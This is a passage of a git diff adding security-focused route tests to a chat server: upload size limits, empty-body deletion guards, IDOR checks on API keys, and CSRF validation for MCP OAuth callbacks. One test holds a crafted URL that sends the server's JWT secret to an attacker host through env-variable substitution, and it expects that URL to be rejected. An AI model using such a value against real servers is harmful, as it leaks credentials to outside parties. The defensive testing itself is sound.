are allowed'), false); + } +}; + +/** Proxy app that mirrors the production multer + error-handling pattern */ +function createImportApp(fileSize) { + const app = express(); + const upload = multer({ + storage: multer.memoryStorage(), + fileFilter: importFileFilter, + limits: { fileSize }, + }); + const uploadSingle = upload.single('file'); + + function handleUpload(req, res, next) { + uploadSingle(req, res, (err) => { + if (err && err.code === 'LIMIT_FILE_SIZE') { + return res.status(413).json({ message: 'File exceeds the maximum allowed size' }); + } + if (err) { + return next(err); + } + next(); + }); + } + + app.post('/import', handleUpload, (req, res) => { + res.status(201).json({ message: 'success', size: req.file.size }); + }); + + app.use((err, _req, res, _next) => { + res.status(400).json({ error: err.message }); + }); + + return app; +} + +describe('Conversation Import - Multer File Size Limits', () => { + describe('multer rejects files exceeding the configured limit', () => { + it('returns 413 for files larger than the limit', async () => { + const limit = 1024; + const app = createImportApp(limit); + const oversized = Buffer.alloc(limit + 512, 'x'); + + const res = await request(app) + .post('/import') + .attach('file', oversized, { filename: 'import.json', contentType: 'application/json' }); + + expect(res.status).toBe(413); + expect(res.body.message).toBe('File exceeds the maximum allowed size'); + }); + + it('accepts files within the limit', async () => { + const limit = 4096; + const app = createImportApp(limit); + const valid = Buffer.from(JSON.stringify({ title: 'test' })); + + const res = await request(app) + .post('/import') + .attach('file', valid, { filename: 'import.json', contentType: 'application/json' }); + + expect(res.status).toBe(201); + expect(res.body.message).toBe('success'); + }); + + it('rejects at the exact boundary (limit + 1 byte)', async () => { + const limit = 512; + const app = createImportApp(limit); + const boundary = Buffer.alloc(limit + 1, 'a'); + + const res = await request(app) + .post('/import') + .attach('file', boundary, { filename: 'import.json', contentType: 'application/json' }); + + expect(res.status).toBe(413); + }); + + it('accepts a file just under the limit', async () => { + const limit = 512; + const app = createImportApp(limit); + const underLimit = Buffer.alloc(limit - 1, 'b'); + + const res = await request(app) + .post('/import') + .attach('file', underLimit, { filename: 'import.json', contentType: 'application/json' }); + + expect(res.status).toBe(201); + }); + }); +}); diff --git a/api/server/routes/__tests__/convos.spec.js b/api/server/routes/__tests__/convos.spec.js index ef11b3cbbb..3bdeac32db 100644 --- a/api/server/routes/__tests__/convos.spec.js +++ b/api/server/routes/__tests__/convos.spec.js @@ -1,109 +1,24 @@ const express = require('express'); const request = require('supertest'); -jest.mock('@librechat/agents', () => ({ - sleep: jest.fn(), -})); +const MOCKS = '../__test-utils__/convos-route-mocks'; -jest.mock('@librechat/api', () => ({ - isEnabled: jest.fn(), - createAxiosInstance: jest.fn(() => ({ - get: jest.fn(), - post: jest.fn(), - put: jest.fn(), - delete: jest.fn(), - })), - logAxiosError: jest.fn(), -})); - -jest.mock('@librechat/data-schemas', () => ({ - logger: { - debug: jest.fn(), - info: jest.fn(), - warn: jest.fn(), - error: jest.fn(), - }, - createModels: jest.fn(() => ({ - User: {}, - Conversation: {}, - Message: {}, - SharedLink: {}, - })), -})); - -jest.mock('~/models/Conversation', () => ({ - getConvosByCursor: jest.fn(), - getConvo: jest.fn(), - deleteConvos: jest.fn(), - saveConvo: jest.fn(), -})); - -jest.mock('~/models/ToolCall', () => ({ - deleteToolCalls: jest.fn(), -})); - -jest.mock('~/models', () => ({ - deleteAllSharedLinks: jest.fn(), - deleteConvoSharedLink: jest.fn(), -})); - -jest.mock('~/server/middleware/requireJwtAuth', () => (req, res, next) => next()); - -jest.mock('~/server/middleware', () => ({ - createImportLimiters: jest.fn(() => ({ - importIpLimiter: (req, res, next) => next(), - importUserLimiter: (req, res, next) => next(), - })), - createForkLimiters: jest.fn(() => ({ - forkIpLimiter: (req, res, next) => next(), - forkUserLimiter: (req, res, next) => next(), - })), - configMiddleware: (req, res, next) => next(), - validateConvoAccess: (req, res, next) => next(), -})); - -jest.mock('~/server/utils/import/fork', () => ({ - forkConversation: jest.fn(), - duplicateConversation: jest.fn(), -})); - -jest.mock('~/server/utils/import', () => ({ - importConversations: jest.fn(), -})); - -jest.mock('~/cache/getLogStores', () => jest.fn()); - -jest.mock('~/server/routes/files/multer', () => ({ - storage: {}, - importFileFilter: jest.fn(), -})); - -jest.mock('multer', () => { - return jest.fn(() => ({ - single: jest.fn(() => (req, res, next) => { - req.file = { path: '/tmp/test-file.json' }; - next(); - }), - })); -}); - -jest.mock('librechat-data-provider', () => ({ - CacheKeys: { - GEN_TITLE: 'GEN_TITLE', - }, - EModelEndpoint: { - azureAssistants: 'azureAssistants', - assistants: 'assistants', - }, -})); - -jest.mock('~/server/services/Endpoints/azureAssistants', () => ({ - initializeClient: jest.fn(), -})); - -jest.mock('~/server/services/Endpoints/assistants', () => ({ - initializeClient: jest.fn(), -})); +jest.mock('@librechat/agents', () => require(MOCKS).agents()); +jest.mock('@librechat/api', () => require(MOCKS).api()); +jest.mock('@librechat/data-schemas', () => require(MOCKS).dataSchemas()); +jest.mock('librechat-data-provider', () => require(MOCKS).dataProvider()); +jest.mock('~/models/Conversation', () => require(MOCKS).conversationModel()); +jest.mock('~/models/ToolCall', () => require(MOCKS).toolCallModel()); +jest.mock('~/models', () => require(MOCKS).sharedModels()); +jest.mock('~/server/middleware/requireJwtAuth', () => require(MOCKS).requireJwtAuth()); +jest.mock('~/server/middleware', () => require(MOCKS).middlewarePassthrough()); +jest.mock('~/server/utils/import/fork', () => require(MOCKS).forkUtils()); +jest.mock('~/server/utils/import', () => require(MOCKS).importUtils()); +jest.mock('~/cache/getLogStores', () => require(MOCKS).logStores()); +jest.mock('~/server/routes/files/multer', () => require(MOCKS).multerSetup()); +jest.mock('multer', () => require(MOCKS).multerLib()); +jest.mock('~/server/services/Endpoints/azureAssistants', () => require(MOCKS).assistantEndpoint()); +jest.mock('~/server/services/Endpoints/assistants', () => require(MOCKS).assistantEndpoint()); describe('Convos Routes', () => { let app; @@ -385,6 +300,40 @@ describe('Convos Routes', () => { expect(deleteConvoSharedLink).not.toHaveBeenCalled(); }); + it('should return 400 when request body is empty (DoS prevention)', async () => { + const response = await request(app).delete('/api/convos').send({}); + + expect(response.status).toBe(400); + expect(response.body).toEqual({ error: 'no parameters provided' }); + expect(deleteConvos).not.toHaveBeenCalled(); + }); + + it('should return 400 when arg is null (DoS prevention)', async () => { + const response = await request(app).delete('/api/convos').send({ arg: null }); + + expect(response.status).toBe(400); + expect(response.body).toEqual({ error: 'no parameters provided' }); + expect(deleteConvos).not.toHaveBeenCalled(); + }); + + it('should return 400 when arg is undefined (DoS prevention)', async () => { + const response = await request(app).delete('/api/convos').send({ arg: undefined }); + + expect(response.status).toBe(400); + expect(response.body).toEqual({ error: 'no parameters provided' }); + expect(deleteConvos).not.toHaveBeenCalled(); + }); + + it('should return 400 when request body is null (DoS prevention)', async () => { + const response = await request(app) + .delete('/api/convos') + .set('Content-Type', 'application/json') + .send('null'); + + expect(response.status).toBe(400); + expect(deleteConvos).not.toHaveBeenCalled(); + }); + it('should return 500 if deleteConvoSharedLink fails', async () => { const mockConversationId = 'conv-error'; diff --git a/api/server/routes/__tests__/keys.spec.js b/api/server/routes/__tests__/keys.spec.js new file mode 100644 index 0000000000..0c96dd3bcb --- /dev/null +++ b/api/server/routes/__tests__/keys.spec.js @@ -0,0 +1,174 @@ +const express = require('express'); +const request = require('supertest'); + +jest.mock('~/models', () => ({ + updateUserKey: jest.fn(), + deleteUserKey: jest.fn(), + getUserKeyExpiry: jest.fn(), +})); + +jest.mock('~/server/middleware/requireJwtAuth', () => (req, res, next) => next()); + +jest.mock('~/server/middleware', () => ({ + requireJwtAuth: (req, res, next) => next(), +})); + +describe('Keys Routes', () => { + let app; + const { updateUserKey, deleteUserKey, getUserKeyExpiry } = require('~/models'); + + beforeAll(() => { + const keysRouter = require('../keys'); + + app = express(); + app.use(express.json()); + + app.use((req, res, next) => { + req.user = { id: 'test-user-123' }; + next(); + }); + + app.use('/api/keys', keysRouter); + }); + + beforeEach(() => { + jest.clearAllMocks(); + }); + + describe('PUT /', () => { + it('should update a user key with the authenticated user ID', async () => { + updateUserKey.mockResolvedValue({}); + + const response = await request(app) + .put('/api/keys') + .send({ name: 'openAI', value: 'sk-test-key-123', expiresAt: '2026-12-31' }); + + expect(response.status).toBe(201); + expect(updateUserKey).toHaveBeenCalledWith({ + userId: 'test-user-123', + name: 'openAI', + value: 'sk-test-key-123', + expiresAt: '2026-12-31', + }); + expect(updateUserKey).toHaveBeenCalledTimes(1); + }); + + it('should not allow userId override via request body (IDOR prevention)', async () => { + updateUserKey.mockResolvedValue({}); + + const response = await request(app).put('/api/keys').send({ + userId: 'attacker-injected-id', + name: 'openAI', + value: 'sk-attacker-key', + }); + + expect(response.status).toBe(201); + expect(updateUserKey).toHaveBeenCalledWith({ + userId: 'test-user-123', + name: 'openAI', + value: 'sk-attacker-key', + expiresAt: undefined, + }); + }); + + it('should ignore extraneous fields from request body', async () => { + updateUserKey.mockResolvedValue({}); + + const response = await request(app).put('/api/keys').send({ + name: 'openAI', + value: 'sk-test-key', + expiresAt: '2026-12-31', + _id: 'injected-mongo-id', + __v: 99, + extra: 'should-be-ignored', + }); + + expect(response.status).toBe(201); + expect(updateUserKey).toHaveBeenCalledWith({ + userId: 'test-user-123', + name: 'openAI', + value: 'sk-test-key', + expiresAt: '2026-12-31', + }); + }); + + it('should handle missing optional fields', async () => { + updateUserKey.mockResolvedValue({}); + + const response = await request(app) + .put('/api/keys') + .send({ name: 'anthropic', value: 'sk-ant-key' }); + + expect(response.status).toBe(201); + expect(updateUserKey).toHaveBeenCalledWith({ + userId: 'test-user-123', + name: 'anthropic', + value: 'sk-ant-key', + expiresAt: undefined, + }); + }); + + it('should return 400 when request body is null', async () => { + const response = await request(app) + .put('/api/keys') + .set('Content-Type', 'application/json') + .send('null'); + + expect(response.status).toBe(400); + expect(updateUserKey).not.toHaveBeenCalled(); + }); + }); + + describe('DELETE /:name', () => { + it('should delete a user key by name', async () => { + deleteUserKey.mockResolvedValue({}); + + const response = await request(app).delete('/api/keys/openAI'); + + expect(response.status).toBe(204); + expect(deleteUserKey).toHaveBeenCalledWith({ + userId: 'test-user-123', + name: 'openAI', + }); + expect(deleteUserKey).toHaveBeenCalledTimes(1); + }); + }); + + describe('DELETE /', () => { + it('should delete all keys when all=true', async () => { + deleteUserKey.mockResolvedValue({}); + + const response = await request(app).delete('/api/keys?all=true'); + + expect(response.status).toBe(204); + expect(deleteUserKey).toHaveBeenCalledWith({ + userId: 'test-user-123', + all: true, + }); + }); + + it('should return 400 when all query param is not true', async () => { + const response = await request(app).delete('/api/keys'); + + expect(response.status).toBe(400); + expect(response.body).toEqual({ error: 'Specify either all=true to delete.' }); + expect(deleteUserKey).not.toHaveBeenCalled(); + }); + }); + + describe('GET /', () => { + it('should return key expiry for a given key name', async () => { + const mockExpiry = { expiresAt: '2026-12-31' }; + getUserKeyExpiry.mockResolvedValue(mockExpiry); + + const response = await request(app).get('/api/keys?name=openAI'); + + expect(response.status).toBe(200); + expect(response.body).toEqual(mockExpiry); + expect(getUserKeyExpiry).toHaveBeenCalledWith({ + userId: 'test-user-123', + name: 'openAI', + }); + }); + }); +}); diff --git a/api/server/routes/__tests__/mcp.spec.js b/api/server/routes/__tests__/mcp.spec.js index 26d7988f0a..1ad8cac087 100644 --- a/api/server/routes/__tests__/mcp.spec.js +++ b/api/server/routes/__tests__/mcp.spec.js @@ -1,8 +1,18 @@ +const crypto = require('crypto'); const express = require('express'); const request = require('supertest'); const mongoose = require('mongoose'); -const { MongoMemoryServer } = require('mongodb-memory-server'); +const cookieParser = require('cookie-parser'); const { getBasePath } = require('@librechat/api'); +const { MongoMemoryServer } = require('mongodb-memory-server'); + +function generateTestCsrfToken(flowId) { + return crypto + .createHmac('sha256', process.env.JWT_SECRET) + .update(flowId) + .digest('hex') + .slice(0, 32); +} const mockRegistryInstance = { getServerConfig: jest.fn(), @@ -22,6 +32,9 @@ jest.mock('@librechat/api', () => { getFlowState: jest.fn(), completeOAuthFlow: jest.fn(), generateFlowId: jest.fn(), + resolveStateToFlowId: jest.fn(async (state) => state), + storeStateMapping: jest.fn(), + deleteStateMapping: jest.fn(), }, MCPTokenStorage: { storeTokens: jest.fn(), @@ -130,6 +143,7 @@ describe('MCP Routes', () => { app = express(); app.use(express.json()); + app.use(cookieParser()); app.use((req, res, next) => { req.user = { id: 'test-user-id' }; @@ -168,12 +182,15 @@ describe('MCP Routes', () => { MCPOAuthHandler.initiateOAuthFlow.mockResolvedValue({ authorizationUrl: 'https://oauth.example.com/auth', - flowId: 'test-flow-id', + flowId: 'test-user-id:test-server', + flowMetadata: { state: 'random-state-value' }, }); + MCPOAuthHandler.storeStateMapping.mockResolvedValue(); + mockFlowManager.initFlow = jest.fn().mockResolvedValue(); const response = await request(app).get('/api/mcp/test-server/oauth/initiate').query({ userId: 'test-user-id', - flowId: 'test-flow-id', + flowId: 'test-user-id:test-server', }); expect(response.status).toBe(302); @@ -190,7 +207,7 @@ describe('MCP Routes', () => { it('should return 403 when userId does not match authenticated user', async () => { const response = await request(app).get('/api/mcp/test-server/oauth/initiate').query({ userId: 'different-user-id', - flowId: 'test-flow-id', + flowId: 'test-user-id:test-server', }); expect(response.status).toBe(403); @@ -228,7 +245,7 @@ describe('MCP Routes', () => { const response = await request(app).get('/api/mcp/test-server/oauth/initiate').query({ userId: 'test-user-id', - flowId: 'test-flow-id', + flowId: 'test-user-id:test-server', }); expect(response.status).toBe(400); @@ -245,7 +262,7 @@ describe('MCP Routes', () => { const response = await request(app).get('/api/mcp/test-server/oauth/initiate').query({ userId: 'test-user-id', - flowId: 'test-flow-id', + flowId: 'test-user-id:test-server', }); expect(response.status).toBe(500); @@ -255,7 +272,7 @@ describe('MCP Routes', () => { it('should return 400 when flow state metadata is null', async () => { const mockFlowManager = { getFlowState: jest.fn().mockResolvedValue({ - id: 'test-flow-id', + id: 'test-user-id:test-server', metadata: null, }), }; @@ -265,7 +282,7 @@ describe('MCP Routes', () => { const response = await request(app).get('/api/mcp/test-server/oauth/initiate').query({ userId: 'test-user-id', - flowId: 'test-flow-id', + flowId: 'test-user-id:test-server', }); expect(response.status).toBe(400); @@ -280,7 +297,7 @@ describe('MCP Routes', () => { it('should redirect to error page when OAuth error is received', async () => { const response = await request(app).get('/api/mcp/test-server/oauth/callback').query({ error: 'access_denied', - state: 'test-flow-id', + state: 'test-user-id:test-server', }); const basePath = getBasePath(); @@ -290,7 +307,7 @@ describe('MCP Routes', () => { it('should redirect to error page when code is missing', async () => { const response = await request(app).get('/api/mcp/test-server/oauth/callback').query({ - state: 'test-flow-id', + state: 'test-user-id:test-server', }); const basePath = getBasePath(); @@ -308,19 +325,169 @@ describe('MCP Routes', () => { expect(response.headers.location).toBe(`${basePath}/oauth/error?error=missing_state`); }); - it('should redirect to error page when flow state is not found', async () => { - MCPOAuthHandler.getFlowState.mockResolvedValue(null); - + it('should redirect to error page when CSRF cookie is missing', async () => { const response = await request(app).get('/api/mcp/test-server/oauth/callback').query({ code: 'test-auth-code', - state: 'invalid-flow-id', + state: 'test-user-id:test-server', }); const basePath = getBasePath(); + expect(response.status).toBe(302); + expect(response.headers.location).toBe( + `${basePath}/oauth/error?error=csrf_validation_failed`, + ); + }); + + it('should redirect to error page when CSRF cookie does not match state', async () => { + const csrfToken = generateTestCsrfToken('different-flow-id'); + const response = await request(app) + .get('/api/mcp/test-server/oauth/callback') + .set('Cookie', [`oauth_csrf=${csrfToken}`]) + .query({ + code: 'test-auth-code', + state: 'test-user-id:test-server', + }); + const basePath = getBasePath(); + + expect(response.status).toBe(302); + expect(response.headers.location).toBe( + `${basePath}/oauth/error?error=csrf_validation_failed`, + ); + }); + + it('should redirect to error page when flow state is not found', async () => { + MCPOAuthHandler.getFlowState.mockResolvedValue(null); + const flowId = 'invalid-flow:id'; + const csrfToken = generateTestCsrfToken(flowId); + + const response = await request(app) + .get('/api/mcp/test-server/oauth/callback') + .set('Cookie', [`oauth_csrf=${csrfToken}`]) + .query({ + code: 'test-auth-code', + state: flowId, + }); + const basePath = getBasePath(); + expect(response.status).toBe(302); expect(response.headers.location).toBe(`${basePath}/oauth/error?error=invalid_state`); }); + describe('CSRF fallback via active PENDING flow', () => { + it('should proceed when a fresh PENDING flow exists and no cookies are present', async () => { + const flowId = 'test-user-id:test-server'; + const mockFlowManager = { + getFlowState: jest.fn().mockResolvedValue({ + status: 'PENDING', + createdAt: Date.now(), + }), + completeFlow: jest.fn().mockResolvedValue(true), + deleteFlow: jest.fn().mockResolvedValue(true), + }; + const mockFlowState = { + serverName: 'test-server', + userId: 'test-user-id', + metadata: {}, + clientInfo: {}, + codeVerifier: 'test-verifier', + }; + + getLogStores.mockReturnValue({}); + require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager); + MCPOAuthHandler.getFlowState.mockResolvedValue(mockFlowState); + MCPOAuthHandler.completeOAuthFlow.mockResolvedValue({ + access_token: 'test-token', + }); + MCPTokenStorage.storeTokens.mockResolvedValue(); + mockRegistryInstance.getServerConfig.mockResolvedValue({}); + + const mockMcpManager = { + getUserConnection: jest.fn().mockResolvedValue({ + fetchTools: jest.fn().mockResolvedValue([]), + }), + }; + require('~/config').getMCPManager.mockReturnValue(mockMcpManager); + require('~/config').getOAuthReconnectionManager.mockReturnValue({ + clearReconnection: jest.fn(), + }); + require('~/server/services/Config/mcp').updateMCPServerTools.mockResolvedValue(); + + const response = await request(app) + .get('/api/mcp/test-server/oauth/callback') + .query({ code: 'test-code', state: flowId }); + + const basePath = getBasePath(); + expect(response.status).toBe(302); + expect(response.headers.location).toContain(`${basePath}/oauth/success`); + }); + + it('should reject when no PENDING flow exists and no cookies are present', async () => { + const flowId = 'test-user-id:test-server'; + const mockFlowManager = { + getFlowState: jest.fn().mockResolvedValue(null), + }; + + getLogStores.mockReturnValue({}); + require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager); + + const response = await request(app) + .get('/api/mcp/test-server/oauth/callback') + .query({ code: 'test-code', state: flowId }); + + const basePath = getBasePath(); + expect(response.status).toBe(302); + expect(response.headers.location).toBe( + `${basePath}/oauth/error?error=csrf_validation_failed`, + ); + }); + + it('should reject when only a COMPLETED flow exists (not PENDING)', async () => { + const flowId = 'test-user-id:test-server'; + const mockFlowManager = { + getFlowState: jest.fn().mockResolvedValue({ + status: 'COMPLETED', + createdAt: Date.now(), + }), + }; + + getLogStores.mockReturnValue({}); + require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager); + + const response = await request(app) + .get('/api/mcp/test-server/oauth/callback') + .query({ code: 'test-code', state: flowId }); + + const basePath = getBasePath(); + expect(response.status).toBe(302); + expect(response.headers.location).toBe( + `${basePath}/oauth/error?error=csrf_validation_failed`, + ); + }); + + it('should reject when PENDING flow is stale (older than PENDING_STALE_MS)', async () => { + const flowId = 'test-user-id:test-server'; + const mockFlowManager = { + getFlowState: jest.fn().mockResolvedValue({ + status: 'PENDING', + createdAt: Date.now() - 3 * 60 * 1000, + }), + }; + + getLogStores.mockReturnValue({}); + require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager); + + const response = await request(app) + .get('/api/mcp/test-server/oauth/callback') + .query({ code: 'test-code', state: flowId }); + + const basePath = getBasePath(); + expect(response.status).toBe(302); + expect(response.headers.location).toBe( + `${basePath}/oauth/error?error=csrf_validation_failed`, + ); + }); + }); + it('should handle OAuth callback successfully', async () => { // mockRegistryInstance is defined at the top of the file const mockFlowManager = { @@ -369,16 +536,22 @@ describe('MCP Routes', () => { }); setCachedTools.mockResolvedValue(); - const response = await request(app).get('/api/mcp/test-server/oauth/callback').query({ - code: 'test-auth-code', - state: 'test-flow-id', - }); + const flowId = 'test-user-id:test-server'; + const csrfToken = generateTestCsrfToken(flowId); + + const response = await request(app) + .get('/api/mcp/test-server/oauth/callback') + .set('Cookie', [`oauth_csrf=${csrfToken}`]) + .query({ + code: 'test-auth-code', + state: flowId, + }); const basePath = getBasePath(); expect(response.status).toBe(302); expect(response.headers.location).toBe(`${basePath}/oauth/success?serverName=test-server`); expect(MCPOAuthHandler.completeOAuthFlow).toHaveBeenCalledWith( - 'test-flow-id', + flowId, 'test-auth-code', mockFlowManager, {}, @@ -400,16 +573,24 @@ describe('MCP Routes', () => { 'mcp_oauth', mockTokens, ); - expect(mockFlowManager.deleteFlow).toHaveBeenCalledWith('test-flow-id', 'mcp_get_tokens'); + expect(mockFlowManager.deleteFlow).toHaveBeenCalledWith( + 'test-user-id:test-server', + 'mcp_get_tokens', + ); }); it('should redirect to error page when callback processing fails', async () => { MCPOAuthHandler.getFlowState.mockRejectedValue(new Error('Callback error')); + const flowId = 'test-user-id:test-server'; + const csrfToken = generateTestCsrfToken(flowId); - const response = await request(app).get('/api/mcp/test-server/oauth/callback').query({ - code: 'test-auth-code', - state: 'test-flow-id', - }); + const response = await request(app) + .get('/api/mcp/test-server/oauth/callback') + .set('Cookie', [`oauth_csrf=${csrfToken}`]) + .query({ + code: 'test-auth-code', + state: flowId, + }); const basePath = getBasePath(); expect(response.status).toBe(302); @@ -442,15 +623,21 @@ describe('MCP Routes', () => { getLogStores.mockReturnValue({}); require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager); - const response = await request(app).get('/api/mcp/test-server/oauth/callback').query({ - code: 'test-auth-code', - state: 'test-flow-id', - }); + const flowId = 'test-user-id:test-server'; + const csrfToken = generateTestCsrfToken(flowId); + + const response = await request(app) + .get('/api/mcp/test-server/oauth/callback') + .set('Cookie', [`oauth_csrf=${csrfToken}`]) + .query({ + code: 'test-auth-code', + state: flowId, + }); const basePath = getBasePath(); expect(response.status).toBe(302); expect(response.headers.location).toBe(`${basePath}/oauth/success?serverName=test-server`); - expect(mockFlowManager.deleteFlow).toHaveBeenCalledWith('test-flow-id', 'mcp_get_tokens'); + expect(mockFlowManager.deleteFlow).toHaveBeenCalledWith(flowId, 'mcp_get_tokens'); }); it('should handle reconnection failure after OAuth', async () => { @@ -488,16 +675,22 @@ describe('MCP Routes', () => { getCachedTools.mockResolvedValue({}); setCachedTools.mockResolvedValue(); - const response = await request(app).get('/api/mcp/test-server/oauth/callback').query({ - code: 'test-auth-code', - state: 'test-flow-id', - }); + const flowId = 'test-user-id:test-server'; + const csrfToken = generateTestCsrfToken(flowId); + + const response = await request(app) + .get('/api/mcp/test-server/oauth/callback') + .set('Cookie', [`oauth_csrf=${csrfToken}`]) + .query({ + code: 'test-auth-code', + state: flowId, + }); const basePath = getBasePath(); expect(response.status).toBe(302); expect(response.headers.location).toBe(`${basePath}/oauth/success?serverName=test-server`); expect(MCPTokenStorage.storeTokens).toHaveBeenCalled(); - expect(mockFlowManager.deleteFlow).toHaveBeenCalledWith('test-flow-id', 'mcp_get_tokens'); + expect(mockFlowManager.deleteFlow).toHaveBeenCalledWith(flowId, 'mcp_get_tokens'); }); it('should redirect to error page if token storage fails', async () => { @@ -530,10 +723,16 @@ describe('MCP Routes', () => { }; require('~/config').getMCPManager.mockReturnValue(mockMcpManager); - const response = await request(app).get('/api/mcp/test-server/oauth/callback').query({ - code: 'test-auth-code', - state: 'test-flow-id', - }); + const flowId = 'test-user-id:test-server'; + const csrfToken = generateTestCsrfToken(flowId); + + const response = await request(app) + .get('/api/mcp/test-server/oauth/callback') + .set('Cookie', [`oauth_csrf=${csrfToken}`]) + .query({ + code: 'test-auth-code', + state: flowId, + }); const basePath = getBasePath(); expect(response.status).toBe(302); @@ -589,22 +788,27 @@ describe('MCP Routes', () => { clearReconnection: jest.fn(), }); - const response = await request(app).get('/api/mcp/test-server/oauth/callback').query({ - code: 'test-auth-code', - state: 'test-flow-id', - }); + const flowId = 'test-user-id:test-server'; + const csrfToken = generateTestCsrfToken(flowId); + + const response = await request(app) + .get('/api/mcp/test-server/oauth/callback') + .set('Cookie', [`oauth_csrf=${csrfToken}`]) + .query({ + code: 'test-auth-code', + state: flowId, + }); const basePath = getBasePath(); expect(response.status).toBe(302); expect(response.headers.location).toBe(`${basePath}/oauth/success?serverName=test-server`); - // Verify storeTokens was called with ORIGINAL flow state credentials expect(MCPTokenStorage.storeTokens).toHaveBeenCalledWith( expect.objectContaining({ userId: 'test-user-id', serverName: 'test-server', tokens: mockTokens, - clientInfo: clientInfo, // Uses original flow state, not any "updated" credentials + clientInfo: clientInfo, metadata: flowState.metadata, }), ); @@ -631,16 +835,21 @@ describe('MCP Routes', () => { getLogStores.mockReturnValue({}); require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager); - const response = await request(app).get('/api/mcp/test-server/oauth/callback').query({ - code: 'test-auth-code', - state: 'test-flow-id', - }); + const flowId = 'test-user-id:test-server'; + const csrfToken = generateTestCsrfToken(flowId); + + const response = await request(app) + .get('/api/mcp/test-server/oauth/callback') + .set('Cookie', [`oauth_csrf=${csrfToken}`]) + .query({ + code: 'test-auth-code', + state: flowId, + }); const basePath = getBasePath(); expect(response.status).toBe(302); expect(response.headers.location).toBe(`${basePath}/oauth/success?serverName=test-server`); - // Verify completeOAuthFlow was NOT called (prevented duplicate) expect(MCPOAuthHandler.completeOAuthFlow).not.toHaveBeenCalled(); expect(MCPTokenStorage.storeTokens).not.toHaveBeenCalled(); }); @@ -755,7 +964,7 @@ describe('MCP Routes', () => { getLogStores.mockReturnValue({}); require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager); - const response = await request(app).get('/api/mcp/oauth/status/test-flow-id'); + const response = await request(app).get('/api/mcp/oauth/status/test-user-id:test-server'); expect(response.status).toBe(200); expect(response.body).toEqual({ @@ -766,6 +975,13 @@ describe('MCP Routes', () => { }); }); + it('should return 403 when flowId does not match authenticated user', async () => { + const response = await request(app).get('/api/mcp/oauth/status/other-user-id:test-server'); + + expect(response.status).toBe(403); + expect(response.body).toEqual({ error: 'Access denied' }); + }); + it('should return 404 when flow is not found', async () => { const mockFlowManager = { getFlowState: jest.fn().mockResolvedValue(null), @@ -774,7 +990,7 @@ describe('MCP Routes', () => { getLogStores.mockReturnValue({}); require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager); - const response = await request(app).get('/api/mcp/oauth/status/non-existent-flow'); + const response = await request(app).get('/api/mcp/oauth/status/test-user-id:non-existent'); expect(response.status).toBe(404); expect(response.body).toEqual({ error: 'Flow not found' }); @@ -788,7 +1004,7 @@ describe('MCP Routes', () => { getLogStores.mockReturnValue({}); require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager); - const response = await request(app).get('/api/mcp/oauth/status/error-flow-id'); + const response = await request(app).get('/api/mcp/oauth/status/test-user-id:error-server'); expect(response.status).toBe(500); expect(response.body).toEqual({ error: 'Failed to get flow status' }); @@ -1375,7 +1591,7 @@ describe('MCP Routes', () => { refresh_token: 'edge-refresh-token', }; MCPOAuthHandler.getFlowState = jest.fn().mockResolvedValue({ - id: 'test-flow-id', + id: 'test-user-id:test-server', userId: 'test-user-id', metadata: { serverUrl: 'https://example.com', @@ -1403,8 +1619,12 @@ describe('MCP Routes', () => { }; require('~/config').getMCPManager.mockReturnValue(mockMcpManager); + const flowId = 'test-user-id:test-server'; + const csrfToken = generateTestCsrfToken(flowId); + const response = await request(app) - .get('/api/mcp/test-server/oauth/callback?code=test-code&state=test-flow-id') + .get(`/api/mcp/test-server/oauth/callback?code=test-code&state=${flowId}`) + .set('Cookie', [`oauth_csrf=${csrfToken}`]) .expect(302); const basePath = getBasePath(); @@ -1424,7 +1644,7 @@ describe('MCP Routes', () => { const mockFlowManager = { getFlowState: jest.fn().mockResolvedValue({ - id: 'test-flow-id', + id: 'test-user-id:test-server', userId: 'test-user-id', metadata: { serverUrl: 'https://example.com', oauth: {} }, clientInfo: {}, @@ -1453,8 +1673,12 @@ describe('MCP Routes', () => { }; require('~/config').getMCPManager.mockReturnValue(mockMcpManager); + const flowId = 'test-user-id:test-server'; + const csrfToken = generateTestCsrfToken(flowId); + const response = await request(app) - .get('/api/mcp/test-server/oauth/callback?code=test-code&state=test-flow-id') + .get(`/api/mcp/test-server/oauth/callback?code=test-code&state=${flowId}`) + .set('Cookie', [`oauth_csrf=${csrfToken}`]) .expect(302); const basePath = getBasePath(); @@ -1469,12 +1693,14 @@ describe('MCP Routes', () => { it('should return all server configs for authenticated user', async () => { const mockServerConfigs = { 'server-1': { - endpoint: 'http://server1.com', - name: 'Server 1', + type: 'sse', + url: 'http://server1.com/sse', + title: 'Server 1', }, 'server-2': { - endpoint: 'http://server2.com', - name: 'Server 2', + type: 'sse', + url: 'http://server2.com/sse', + title: 'Server 2', }, }; @@ -1483,7 +1709,18 @@ describe('MCP Routes', () => { const response = await request(app).get('/api/mcp/servers'); expect(response.status).toBe(200); - expect(response.body).toEqual(mockServerConfigs); + expect(response.body['server-1']).toMatchObject({ + type: 'sse', + url: 'http://server1.com/sse', + title: 'Server 1', + }); + expect(response.body['server-2']).toMatchObject({ + type: 'sse', + url: 'http://server2.com/sse', + title: 'Server 2', + }); + expect(response.body['server-1'].headers).toBeUndefined(); + expect(response.body['server-2'].headers).toBeUndefined(); expect(mockRegistryInstance.getAllServerConfigs).toHaveBeenCalledWith('test-user-id'); }); @@ -1538,10 +1775,10 @@ describe('MCP Routes', () => { const response = await request(app).post('/api/mcp/servers').send({ config: validConfig }); expect(response.status).toBe(201); - expect(response.body).toEqual({ - serverName: 'test-sse-server', - ...validConfig, - }); + expect(response.body.serverName).toBe('test-sse-server'); + expect(response.body.type).toBe('sse'); + expect(response.body.url).toBe('https://mcp-server.example.com/sse'); + expect(response.body.title).toBe('Test SSE Server'); expect(mockRegistryInstance.addServer).toHaveBeenCalledWith( 'temp_server_name', expect.objectContaining({ @@ -1595,6 +1832,78 @@ describe('MCP Routes', () => { expect(response.body.message).toBe('Invalid configuration'); }); + it('should reject SSE URL containing env variable references', async () => { + const response = await request(app) + .post('/api/mcp/servers') + .send({ + config: { + type: 'sse', + url: 'http://attacker.com/?secret=${JWT_SECRET}', + }, + }); + + expect(response.status).toBe(400); + 